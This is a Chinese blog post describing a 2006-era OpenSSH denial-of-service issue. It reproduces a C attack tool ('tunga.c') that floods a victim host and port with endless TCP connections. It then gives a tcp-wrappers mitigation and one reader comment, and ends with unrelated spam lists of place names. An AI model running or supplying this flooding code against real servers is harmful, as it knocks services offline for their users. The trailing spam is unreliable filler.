詳細描述
          openssh存在拒絕服務攻擊,使用如下操作:

          $ ssh user@somehost.com
          ssh_exchange_identification: Connection closed by remote host

          可以導致服務停止。

          測試代碼
          --[ Code ]--

          #include <sys/types.h>
          #include <sys/socket.h>
          #include <netinet/in.h>
          #include <arpa/inet.h>
          #include <netdb.h>
          #include <stdio.h>
          #include <unistd.h>

          int main (int argc, char *argv[]) {

          ??int sd, rc;
          ??struct sockaddr_in localAddr, servAddr;
          ??struct linger ling;
          ??struct hostent *h;

          ??if(argc < 3) {
          ????printf("tunga.c - OpenSSH DoS Attack\n");
          ????printf("by DrBrain <drbrain@phibernet.org>\n");
          ????printf("Phibernet Information Network < http://www.phibernet.org
          >\n\n");
          ????printf("Usage: %s <victim> <port>\n\n",argv[0]);
          ????exit(1);
          ??}

          ??h = gethostbyname(argv[1]);
          ??if(h==NULL) {
          ????printf("%s: Unknown Host '%s'\n",argv[0],argv[1]);
          ????exit(1);
          ??}

          ??for(;;) {
          ????servAddr.sin_family = h->h_addrtype;
          ????memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
          h->h_length);
          ????servAddr.sin_port = htons(atoi(argv[2]));

          ????sd = socket(AF_INET, SOCK_STREAM, 0);
          ????if(sd<0) {
          ??????perror("Cannot Open Socket ");
          ??????exit(1);
          ????}

          ????rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
          ????if(rc<0) {
          ??????perror("Cannot Connect ");
          ??????exit(1);
          ????}
          ??}
          ??exit(0);
          }

          解決方案
          編譯SSH服務程序支持libwrap(Tcp-wrappers),然后在/etc/hosts.{allow,deny} 中增加對源地址的控制。

          Feedback

          # re: SSH居然存在安全漏洞!!!還發生在我的身上,RedHat你還很狠!  回復  更多評論   

          2006-08-31 18:08 by JonneyQuest
          我們一直都是在/etc/hosts.allow中限制登錄的。
          應該遇不上這個漏洞。

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           

          posts - 27, comments - 15, trackbacks - 0, articles - 1

          Copyright © E.ven

          主站蜘蛛池模板: 中山市| 鄂托克前旗| 葵青区| 溧阳市| 石林| 井研县| 神农架林区| 响水县| 雅江县| 洛南县| 扎鲁特旗| 滨海县| 阿克苏市| 云龙县| 汝州市| 大同市| 井研县| 南城县| 南涧| 金门县| 顺义区| 郸城县| 正蓝旗| 扎囊县| 宝清县| 通许县| 垣曲县| 定安县| 卢龙县| 泰兴市| 上虞市| 洛川县| 邯郸县| 望奎县| 顺平县| 泊头市| 社会| 乐东| 东乡族自治县| 车险| 苗栗市|